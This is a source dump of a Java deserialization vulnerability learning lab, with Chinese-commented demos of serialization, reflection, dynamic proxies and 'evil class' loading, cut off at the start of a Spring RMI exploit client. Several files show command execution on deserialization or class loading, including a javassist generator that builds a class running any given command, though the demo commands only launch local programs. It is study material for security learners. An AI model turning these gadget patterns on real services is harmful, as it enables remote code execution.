├── .classpath
├── .gitignore
├── .project
├── .settings
├── org.eclipse.core.resources.prefs
├── org.eclipse.jdt.core.prefs
└── org.eclipse.m2e.core.prefs
├── README.md
├── obj
├── object.obj
├── pom.xml
└── src
├── ApacheCommonsCollections
├── Image.png
├── InvokerTransformerTest.java
├── TransformedMapPoC.java
├── lazymapPoc.java
├── shenqi158demo.java
└── test3.java
├── ApacheTika
└── readme
├── Apachelog4j
└── readme
├── Json
├── Jacksontest.java
├── fastjsontest.java
└── readme.txt
├── Step1
├── deserTest.java
└── deserTest2.java
├── Step2
├── reflectionTest.java
├── reflectionTest2.java
└── reflectionTest3.java
├── Step3
├── proxyTest.java
└── proxyTest2.java
├── Step6EvilClass
├── createEvilClass.java
└── evilClassTest.java
├── Struts2
└── s2_055.java
└── spring
├── ExploitClient.java
├── ExploitableServer.java
├── ExportObject.java
└── HttpFileHandler.java
/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.class
2 | bin
3 | /target/
4 |
--------------------------------------------------------------------------------
/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | Java_deserialize_vuln_lab
4 |
5 |
6 |
7 |
8 |
9 | org.eclipse.jdt.core.javabuilder
10 |
11 |
12 |
13 |
14 | org.eclipse.m2e.core.maven2Builder
15 |
16 |
17 |
18 |
19 |
20 | org.eclipse.m2e.core.maven2Nature
21 | org.eclipse.jdt.core.javanature
22 |
23 |
24 |
--------------------------------------------------------------------------------
/.settings/org.eclipse.core.resources.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | encoding/=UTF-8
3 |
--------------------------------------------------------------------------------
/.settings/org.eclipse.jdt.core.prefs:
--------------------------------------------------------------------------------
1 | eclipse.preferences.version=1
2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
5 | org.eclipse.jdt.core.compiler.compliance=1.8
6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate
7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate
8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate
9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
11 | org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning
12 | org.eclipse.jdt.core.compiler.source=1.8
13 |
--------------------------------------------------------------------------------
/.settings/org.eclipse.m2e.core.prefs:
--------------------------------------------------------------------------------
1 | activeProfiles=
2 | eclipse.preferences.version=1
3 | resolveWorkspaceProjects=true
4 | version=1
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | "# Java_deserialize_vuln_lab"
2 |
3 | Java反序列化漏洞学习实践中的代码
4 |
5 | [Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-yi-cong-serializbalejie-kou-kai-shi-xian-dan-ge-ji-suan-qi.html)
6 |
7 | [Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-er-javade-fan-she-ji-zhi-java-reflection.html)
8 |
9 | [Java反序列化漏洞学习实践三:理解java的动态代理机制](http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-san-li-jie-javade-dong-tai-dai-li-ji-zhi.html)
10 |
11 |
--------------------------------------------------------------------------------
/obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/obj
--------------------------------------------------------------------------------
/object.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/object.obj
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
4 | 4.0.0
5 | com.bit4woo.vulnreview
6 | Java_deserialize_vuln_lab
7 | 0.0.1-SNAPSHOT
8 |
9 | src
10 |
11 |
12 | src
13 |
14 | **/*.java
15 |
16 |
17 |
18 |
19 |
20 | maven-compiler-plugin
21 | 3.7.0
22 |
23 | 1.8
24 | 1.8
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | org.javassist
34 | javassist
35 | 3.24.0-GA
36 |
37 |
38 |
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/Image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/Image.png
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/InvokerTransformerTest.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/InvokerTransformerTest.java
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/TransformedMapPoC.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/TransformedMapPoC.java
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/lazymapPoc.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/lazymapPoc.java
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/shenqi158demo.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/shenqi158demo.java
--------------------------------------------------------------------------------
/src/ApacheCommonsCollections/test3.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheCommonsCollections/test3.java
--------------------------------------------------------------------------------
/src/ApacheTika/readme:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/ApacheTika/readme
--------------------------------------------------------------------------------
/src/Apachelog4j/readme:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/Apachelog4j/readme
--------------------------------------------------------------------------------
/src/Json/Jacksontest.java:
--------------------------------------------------------------------------------
1 | package Json;
2 |
3 | public class Jacksontest {
4 |
5 | }
6 |
--------------------------------------------------------------------------------
/src/Json/fastjsontest.java:
--------------------------------------------------------------------------------
1 | package Json;
2 |
3 | public class fastjsontest {
4 |
5 | }
6 |
--------------------------------------------------------------------------------
/src/Json/readme.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bit4woo/Java_deserialize_vuln_lab/68b860aa29e044ebd4591da097063f626705ecc2/src/Json/readme.txt
--------------------------------------------------------------------------------
/src/Step1/deserTest.java:
--------------------------------------------------------------------------------
1 | package Step1;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.FileOutputStream;
7 | import java.io.IOException;
8 | import java.io.ObjectInputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.io.Serializable;
11 |
12 | public class deserTest implements Serializable {
13 |
14 | /**
15 | * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
16 | */
17 | private static final long serialVersionUID = 1L;
18 |
19 | private int n;
20 |
21 | public deserTest(int n){ //构造函数,初始化时执行
22 | this.n=n;
23 | }
24 |
25 | public static void main(String[] args) {
26 | deserTest x = new deserTest(5);//实例一个对象
27 | operation.ser(x);//序列化
28 | operation.deser();//反序列化
29 | }
30 | }
31 |
32 | class operation {
33 | public static void ser(Object obj) {
34 | //序列化操作,写数据
35 | try{
36 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
37 | //ObjectOutputStream能把Object输出成Byte流
38 | oos.writeObject(obj);//序列化关键函数
39 | oos.flush(); //缓冲流
40 | oos.close(); //关闭流
41 | } catch (FileNotFoundException e)
42 | {
43 | e.printStackTrace();
44 | } catch (IOException e)
45 | {
46 | e.printStackTrace();
47 | }
48 | }
49 |
50 | public static void deser() {
51 | //反序列化操作,读取数据
52 | try {
53 | File file = new File("object.obj");
54 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
55 | Object x = ois.readObject();//反序列化的关键函数
56 | System.out.print(x);
57 | ois.close();
58 | } catch (FileNotFoundException e) {
59 | // TODO Auto-generated catch block
60 | e.printStackTrace();
61 | } catch (Exception e) {
62 | // TODO Auto-generated catch block
63 | e.printStackTrace();
64 | }
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/src/Step1/deserTest2.java:
--------------------------------------------------------------------------------
1 | package Step1;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.FileOutputStream;
7 | import java.io.IOException;
8 | import java.io.ObjectInputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.io.Serializable;
11 |
12 | public class deserTest2 implements Serializable {
13 |
14 | /**
15 | * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
16 | * 然后重写readObject方法,实现弹计算器。
17 | */
18 | private static final long serialVersionUID = 1L;
19 |
20 | private int n;
21 |
22 | public deserTest2(int n){ //构造函数,初始化时执行
23 | this.n=n;
24 | }
25 | //重写readObject方法,加入了弹计算器的执行代码的内容
26 | private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
27 | in.defaultReadObject();//调用原始的readOject方法
28 | Runtime.getRuntime().exec("calc.exe");
29 | System.out.println("test");
30 | }
31 |
32 | public static void main(String[] args) {
33 | //deserTest2 x = new deserTest2(5);//实例一个对象
34 | //operation2.ser(x);//序列化
35 | operation2.deser();//反序列化
36 | }
37 | }
38 |
39 | class operation2 {
40 | public static void ser(Object obj) {
41 | //序列化操作,写数据
42 | try{
43 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
44 | //ObjectOutputStream能把Object输出成Byte流
45 | oos.writeObject(obj);//序列化关键函数
46 | oos.flush(); //缓冲流
47 | oos.close(); //关闭流
48 | } catch (FileNotFoundException e)
49 | {
50 | e.printStackTrace();
51 | } catch (IOException e)
52 | {
53 | e.printStackTrace();
54 | }
55 | }
56 |
57 | public static void deser() {
58 | //反序列化操作,读取数据
59 | try {
60 | File file = new File("object.obj");
61 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
62 | Object x = ois.readObject();//反序列化的关键函数
63 | System.out.print(x);
64 | ois.close();
65 | } catch (FileNotFoundException e) {
66 | // TODO Auto-generated catch block
67 | e.printStackTrace();
68 | } catch (Exception e) {
69 | // TODO Auto-generated catch block
70 | e.printStackTrace();
71 | }
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/src/Step2/reflectionTest.java:
--------------------------------------------------------------------------------
1 | package Step2;
2 |
3 | import java.lang.reflect.Method;
4 |
5 | public class reflectionTest {
6 |
7 | public static void main(String[] args){
8 | try {
9 |
10 | //Class获取类的方法一:实例对象的getClass()方法;
11 | User testObject = new User("zhangshan",19);
12 | Class Method1Class = testObject.getClass();
13 |
14 | //Class获取类的方法二:类的.class(最安全/性能最好)属性;有点类似python的getattr()。java中每个类型都有class 属性.
15 | Class Method2Class = User.class;
16 |
17 | //Class对象的获取方法三:运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).
18 | //这种方法也最容易理解,通过类名(jar包中的完整namespace)就可以调用其中的方法,也最符合我们需要的使用场景.
19 | //j2eeScan burp 插件就使用了这种反射机制。
20 | String path = "Step2.User";
21 | Class Method3Class = Class.forName(path);
22 |
23 |
24 |
25 | Method[] methods = Method3Class.getMethods();
26 | //Method[] methods = Method2Class.getMethods();
27 | //Method[] methods = Method3Class.getMethods();
28 |
29 | //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合
30 |
31 | /* String name = Method3Class.getName();
32 | * int modifiers = Method3Class.getModifiers();
33 | * .....还有很多方法
34 | * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
35 | * 知道了它的方法和属性,就可以调用这些方法和属性。
36 | */
37 |
38 | //调用User类中的方法
39 |
40 | for(Method method : methods){
41 | if(method.getName().equals("getName")) {
42 | System.out.println("method = " + method.getName());
43 |
44 | Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
45 | Class returnType = method.getReturnType();//获取方法的返回类型
46 | try {
47 | User user = (User)Method3Class.newInstance();
48 | Object x = method.invoke(user);//user.getName();
49 | //Object x = method.invoke(new test(1), 666);
50 | //new关键字能调用任何构造方法,newInstance()只能调用无参构造方法。但反射的场景中是不应该有机会使用new关键词的。
51 | System.out.println(x);
52 |
53 | } catch (Exception e) {
54 | e.printStackTrace();
55 | }
56 | }
57 | }
58 |
59 |
60 |
61 | Method method = Method3Class.getMethod("setName",String.class);
62 | User user1 = (User)Method3Class.getConstructor(String.class,Integer.class).newInstance("lisi",19);
63 | //调用自定义构造器的方法
64 | Object x = method.invoke(user1,"李四");//第一个参数是类的对象。第二参数是函数的参数
65 | System.out.println(user1.getName());
66 | } catch (Exception e1) {
67 | e1.printStackTrace();
68 | }
69 |
70 | }
71 | }
72 |
73 | class User{
74 | private Integer age;
75 | private String name;
76 |
77 | public User() {}
78 |
79 | public User(String name,Integer age){ //构造函数,初始化时执行
80 | this.age = age;
81 | this.name = name;
82 | }
83 |
84 |
85 | public Integer getAge() {
86 | return age;
87 | }
88 |
89 | public void setAge(Integer age) {
90 | this.age = age;
91 | }
92 |
93 | public String getName() {
94 | return name;
95 | }
96 |
97 | public void setName(String name) {
98 | this.name = name;
99 | }
100 | }
--------------------------------------------------------------------------------
/src/Step2/reflectionTest2.java:
--------------------------------------------------------------------------------
1 | package Step2;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.io.FileNotFoundException;
6 | import java.io.FileOutputStream;
7 | import java.io.IOException;
8 | import java.io.ObjectInputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.io.Serializable;
11 | import java.lang.reflect.Method;
12 |
13 | /*
14 | * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
15 | * 在实现了Serializable的类中, 通过重写readObject方法来实现
16 | */
17 |
18 | public class reflectionTest2 implements Serializable{
19 |
20 | private Integer age;
21 | private String name;
22 |
23 | public reflectionTest2() {}
24 |
25 | public reflectionTest2(String name,Integer age){ //构造函数,初始化时执行
26 | this.age = age;
27 | this.name = name;
28 | }
29 |
30 | private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
31 | in.defaultReadObject();//调用原始的readOject方法
32 |
33 | try {//通过反射方法执行命令;
34 | Method method= java.lang.Runtime.class.getMethod("exec", String.class);
35 | Object result = method.invoke(Runtime.getRuntime(), "calc.exe");
36 | }
37 | catch(Exception e) {
38 | e.printStackTrace();
39 | }
40 | }
41 |
42 | public static void main(String[] args){
43 | reflectionTest2 x= new reflectionTest2();
44 | operation.ser(x);
45 | operation.deser();
46 | }
47 | }
48 |
49 |
50 |
51 | class operation {
52 | public static void ser(Object obj) {
53 | //序列化操作,写数据
54 | try{
55 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
56 | //ObjectOutputStream能把Object输出成Byte流
57 | oos.writeObject(obj);//序列化关键函数
58 | oos.flush(); //缓冲流
59 | oos.close(); //关闭流
60 | } catch (FileNotFoundException e)
61 | {
62 | e.printStackTrace();
63 | } catch (IOException e)
64 | {
65 | e.printStackTrace();
66 | }
67 | }
68 |
69 | public static void deser() {
70 | //反序列化操作,读取数据
71 | try {
72 | File file = new File("object.obj");
73 | ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
74 | Object x = ois.readObject();//反序列化的关键函数
75 | System.out.print(x);
76 | ois.close();
77 | } catch (FileNotFoundException e) {
78 | e.printStackTrace();
79 | } catch (Exception e) {
80 | e.printStackTrace();
81 | }
82 | }
83 | }
--------------------------------------------------------------------------------
/src/Step2/reflectionTest3.java:
--------------------------------------------------------------------------------
1 | package Step2;
2 |
3 | import java.lang.reflect.Constructor;
4 | import java.lang.reflect.Method;
5 | /*
6 | * 测试setAccessible方法,可以通过将它设置为true--setAccessible(true) 来访问private属性和函数。
7 | * 而且可以提高程序的执行效率,因为减少了安全检查。
8 | */
9 | public class reflectionTest3 {
10 |
11 | public static void main(String[] args){
12 | try {
13 | String path = "Step2.User3";
14 | Class clazz = Class.forName(path);
15 |
16 | //Method method = clazz.getMethod("setName",String.class);
17 | //getMethod只能获取public的方法,private的方法需要使用getDeclaredMethod来获取,并且设置setAccessible(true)才可以调用访问。
18 | //参数属性也是一样。
19 | Method method = clazz.getDeclaredMethod("setName", String.class);
20 | method.setAccessible(true);
21 |
22 | //Constructor strut = clazz.getConstructor(String.class,Integer.class);
23 | //getConstructor只能获取public的构造方法
24 | Constructor strut = clazz.getDeclaredConstructor(String.class,Integer.class);
25 | strut.setAccessible(true);
26 | User3 user = (User3)strut.newInstance("bit4",19);
27 | //调用自定义构造器的方法
28 | Object x = method.invoke(user,"比特");//第一个参数是类的对象。第二参数是函数的参数
29 | System.out.println(user.getName());
30 |
31 |
32 | } catch (Exception e1) {
33 | e1.printStackTrace();
34 | }
35 | }
36 | }
37 |
38 | class User3{
39 |
40 | private Integer age;
41 | private String name;
42 |
43 | private User3() {}
44 |
45 | private User3(String name,Integer age){ //构造函数,初始化时执行
46 | this.age = age;
47 | this.name = name;
48 | }
49 |
50 |
51 | private Integer getAge() {
52 | return age;
53 | }
54 |
55 | private void setAge(Integer age) {
56 | this.age = age;
57 | }
58 |
59 | public String getName() {
60 | return name;
61 | }
62 |
63 | private void setName(String name) {
64 | this.name = name;
65 | }
66 | }
--------------------------------------------------------------------------------
/src/Step3/proxyTest.java:
--------------------------------------------------------------------------------
1 | package Step3;
2 |
3 | /*
4 | * 代理模式的简单demo,静态代理
5 | *
6 | * 代理的使用场景:某程序员入职公司接手了一个项目,他读源码发现某些地方可以增强(比如在某些函数执行前应该打印日志)。
7 | * 如果他直接在原始代码的基础上直接修改容易出错,他的做法是:自己实现一个类,和原始类实现相同的接口(或者继承相同的类),
8 | * 通过在方法中引用老程序的方法来实现自己的方法,从而实现增强方法的目的。
9 | */
10 |
11 | public class proxyTest{
12 | public static void main(String[] args) {
13 | //Subject sub = new RealSubject();//场景中得旧代码,老程序员写的。
14 | Subject sub = new ProxySubject();//新入职的程序员,自己实现了ProxySubject类,然后改成了这句。来增强老程序的代码。
15 | sub.request();
16 | }
17 | }
18 |
19 | abstract class Subject//也可以是接口interface
20 | {//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。
21 | //类比网络代理,比如http代理,都支持http协议
22 | abstract void request();
23 | }
24 |
25 | //老程序员写的代码,实现了需要的主要功能。
26 | class RealSubject extends Subject
27 | {//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。
28 | //类比真实的http请求
29 | public RealSubject()//默认构造方法
30 | {
31 | }
32 |
33 | @Override
34 | public void request()
35 | {
36 | System.out.println("From real subject.");
37 | }
38 | }
39 |
40 | //新入职程序员实现的类,目的是增强老程序员的代码。
41 | class ProxySubject extends Subject//关键是类的继承。
42 | {//代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。
43 | //类比通过代理发出http请求,这个代理当然可以对http请求做出任何想要的修改。
44 | private RealSubject realSubject; //以真实角色作为代理角色的属性
45 |
46 | public ProxySubject()
47 | {
48 | }
49 |
50 | @Override
51 | public void request() //该方法封装了真实对象的request方法,老程序员的方法。
52 | {//所谓的“控制”就体现在这里
53 | preRequest();
54 | if( realSubject == null )
55 | {
56 | realSubject = new RealSubject();
57 | }
58 | realSubject.request(); //此处执行真实对象的request方法
59 | postRequest();
60 | }
61 |
62 | private void preRequest()
63 | {
64 | //在请求前做某些处理,比如打印日志,修改请求包等等
65 | System.out.println("Do something before requesting: print log,change request");
66 | }
67 |
68 | private void postRequest()
69 | {
70 | //在请求后做某些处理,打印日志
71 | System.out.println("Do something after requesting: print log");
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/src/Step3/proxyTest2.java:
--------------------------------------------------------------------------------
1 | package Step3;
2 |
3 | import java.lang.reflect.InvocationHandler;
4 | import java.lang.reflect.Method;
5 | import java.lang.reflect.Proxy;
6 |
7 | /*
8 | * 动态代理的简单demo,动态代理利用了反射机制
9 | * 每一个动态代理类都会有一个与之关联的invocation handler。真正的调用是在invocation handler的invoke()方法里完成的。
10 | * 感谢蝶离飞、廖新喜2位师傅的指导
11 | */
12 |
13 | public class proxyTest2{
14 | public static void main(String[] args) {
15 | DynamicSubject sub=new RealDynamicSubject();//之前这里sub的类型是RealDynamicSubject,不对;但是为什么呢?
16 | Handler handler = new Handler(sub);
17 |
18 | //newProxyInstance(ClassLoader loader,Class>[] interfaces,InvocationHandler h)
19 | //CLassLoader loader:指定动态代理类的类加载器,即生成完成后的代理对象的类加载器
20 | //Class> interfaces:指定动态代理类需要实现的所有接口,需要被增强的接口列表(数据)
21 | //InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象,具体的增强逻辑
22 |
23 | DynamicSubject sub2 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), new Class[]{DynamicSubject.class}, handler);
24 |
25 | DynamicSubject sub3 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), sub.getClass().getInterfaces(), handler);
26 |
27 | DynamicSubject sub4 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), RealDynamicSubject.class.getInterfaces(), handler);
28 |
29 | //从上面的调用方法可知,可以对不同的对象使用相同的模式实现来实现其代理,这就是相对静态代理的优势。
30 |
31 | System.out.println("sub.getClass() = "+sub.getClass());
32 | System.out.println("DynamicSubject.class = " +DynamicSubject.class);
33 | System.out.println(new Class[]{DynamicSubject.class});
34 | System.out.println(RealDynamicSubject.class.getInterfaces());
35 |
36 | sub2.request();
37 | sub3.request();
38 | sub4.request();
39 | }
40 | }
41 |
42 | interface DynamicSubject
43 | {//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。注意:动态代理只能是接口,否则代理类转成该类型事会报错
44 | //类比网络代理,比如http代理,都支持http协议
45 | abstract void request();
46 | }
47 |
48 | class RealDynamicSubject implements DynamicSubject
49 | {//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理handler处理调用。
50 | //类比真实的http请求
51 | public RealDynamicSubject()
52 | {
53 | }
54 |
55 | public void request()
56 | {
57 | System.out.println("From real subject.");
58 | }
59 | }
60 |
61 | /**
62 | * 处理器
63 | */
64 | class Handler implements InvocationHandler{
65 | private Object obj; //被代理的对象(也就是老程序员实现的对象),不管对象是什么类型;之前声明成RealDynamicSubject,不应该这么做
66 | /**
67 | * 所有的流程控制都在invoke方法中
68 | * proxy:代理类
69 | * method:正在调用的方法,反射机制调用函数所必须!
70 | * args:被调用方法的参数列表,反射机制调用函数所必须!
71 | */
72 | @Override
73 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//接口必须实现的方法,也是逻辑核心
74 | System.out.println("Do something before requesting: print log");
75 | Object xxx = method.invoke(this.obj, args);//通过反射机制调用老程序员的对象代码。
76 | System.out.println("Do something after requesting: print log");
77 | return xxx;
78 | }
79 | public Handler(Object obj) {
80 | //构造函数,把真实角色的实例传递进来,这个代理handler的目的就是增强它,或者说需要调用它来实现主要的功能。
81 | this.obj = obj;
82 | }
83 | }
84 |
--------------------------------------------------------------------------------
/src/Step6EvilClass/createEvilClass.java:
--------------------------------------------------------------------------------
1 | package Step6EvilClass;
2 | import java.io.File;
3 | import java.net.URL;
4 | import java.net.URLClassLoader;
5 |
6 | import javassist.ClassPool;
7 | import javassist.CtClass;
8 | import javassist.CtConstructor;
9 | import javassist.CtField;
10 | import javassist.CtMethod;
11 | import javassist.CtNewMethod;
12 | import javassist.bytecode.AccessFlag;
13 |
14 | public class createEvilClass {
15 |
16 | public static byte[] create(String cmd) {
17 |
18 | ClassPool pool = ClassPool.getDefault();
19 | //会从classpath中查询该类
20 | CtClass evilclass = pool.makeClass("Evil");
21 | try {
22 | CtField f= new CtField(CtClass.intType,"id",evilclass);//获得一个类型为int,名称为id的字段
23 | f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
24 | evilclass.addField(f);//将字段设置到类上
25 |
26 | //添加静态代码块
27 | CtConstructor ci = evilclass.makeClassInitializer();
28 | ci.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");
29 |
30 | //添加构造函数
31 | CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{}, evilclass);//指定参数构造器
32 | ctConstructor1.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");//$1代表第一个参数,$2代表第二个参数,$0代表this
33 | evilclass.addConstructor(ctConstructor1);
34 |
35 | //添加方法
36 | CtMethod helloM=CtNewMethod.make("public void fun(){try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}",evilclass);
37 | evilclass.addMethod(helloM);
38 |
39 | evilclass.writeFile("D:\\");//将生成的.class文件保存到磁盘
40 | byte[] b=evilclass.toBytecode();
41 |
42 | return b;
43 | }catch(Exception e) {
44 | e.printStackTrace();
45 | }
46 | return null;
47 | }
48 |
49 | public static void main(String[] args) {
50 |
51 |
52 | /* //从本地或者网络加载类
53 | try {
54 | File file = new File("D:\\");
55 | URL url = file.toURL();
56 | URL[] urls = new URL[]{url};
57 | ClassLoader cl = new URLClassLoader(urls);
58 | Class cls = cl.loadClass("Evil");
59 | cls.newInstance();
60 | //
61 |
62 |
63 | } catch (Exception e) {
64 | e.printStackTrace();
65 | }*/
66 |
67 |
68 | try {
69 | File file = new File("D:\\");
70 | URL url = file.toURL();
71 | URL[] urls = new URL[]{url};
72 | ClassLoader cl = new URLClassLoader(urls);
73 | Class yyy = Class.forName("Evil",true,cl);
74 |
75 | } catch (Exception e) {
76 | e.printStackTrace();
77 | }
78 |
79 |
80 | byte[] st = createEvilClass.create("calc");
81 | }
82 |
83 | }
84 |
--------------------------------------------------------------------------------
/src/Step6EvilClass/evilClassTest.java:
--------------------------------------------------------------------------------
1 | package Step6EvilClass;
2 | import java.io.IOException;
3 | import java.util.Hashtable;
4 |
5 | import javax.naming.Context;
6 | import javax.naming.Name;
7 | import javax.naming.spi.ObjectFactory;
8 |
9 | public class evilClassTest{
10 | public static void main(String[] argv){
11 | try {
12 | //触发方式1
13 | Class> xxx = Class.forName("EvilClasses.evilClazz");//只会执行静态代码块中的命令。
14 | evilClazz cs = (evilClazz)xxx.newInstance();//这里触发构造函数中的命令。
15 |
16 | Class> yyy = Class.forName("EvilClasses.evilClazz",true,ClassLoader.getSystemClassLoader());
17 | //只会执行静态代码块中的命令,但它可以执行指定类加载器,更为灵活
18 | evilClazz cs1 = (evilClazz)yyy.newInstance();//这里触发构造函数中的命令。
19 |
20 |
21 | //触发方式2
22 | Class> c1 = ClassLoader.getSystemClassLoader().loadClass("EvilClasses.evilClazz"); //这里不会触发静态代码块,因为是隐式加载方式。
23 | c1.newInstance();//这里会触发静态代码块后,触发构造函数
24 |
25 |
26 | //触发方式3,应该和方式2本质上是一样的!
27 | new evilClazz(); //会执行静态代码块和构造函数中的命令
28 |
29 |
30 | //触发方式4
31 | new evilClazz().fun();//静态代码,构造函数,自定义函数都会触发。函数调用方式,不用多说
32 |
33 | //凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。
34 |
35 | //getObjectInstance()函数的代码如何触发?和web框架环境有关系,需要学习!!
36 |
37 |
38 | } catch (Exception e) {
39 | e.printStackTrace();
40 | }
41 | }
42 | }
43 |
44 | class evilClazz implements ObjectFactory{
45 | public static String aaa;
46 |
47 | //静态代码块命令执行
48 | static
49 | {
50 | try {
51 | Runtime.getRuntime().exec("explorer.exe");
52 | } catch (IOException e) {
53 | e.printStackTrace();
54 | }
55 | }
56 |
57 | //构造函数命令执行
58 | evilClazz(){
59 | try{
60 | Runtime.getRuntime().exec("calc");
61 | }catch(Exception e){
62 | e.printStackTrace();
63 | }
64 | }
65 |
66 | //自定义函数
67 | public void fun() {
68 | try{
69 | Runtime.getRuntime().exec("notepad.exe");
70 | }catch(Exception e){
71 | e.printStackTrace();
72 | }
73 | }
74 |
75 | //getObjectInstance命令执行,是因为实现了ObjectFactory接口。
76 | @Override
77 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {
78 | try {
79 | Runtime.getRuntime().exec("mstsc.exe");
80 | } catch (IOException e) {
81 | e.printStackTrace();
82 | }
83 | return null;
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/src/Struts2/s2_055.java:
--------------------------------------------------------------------------------
1 | package Struts2;
2 |
3 | public class s2_055 {
4 |
5 | }
6 |
--------------------------------------------------------------------------------
/src/spring/ExploitClient.java:
--------------------------------------------------------------------------------
1 | package spring;
2 |
3 | import java.io.*;
4 | import java.net.*;
5 | import java.rmi.registry.*;
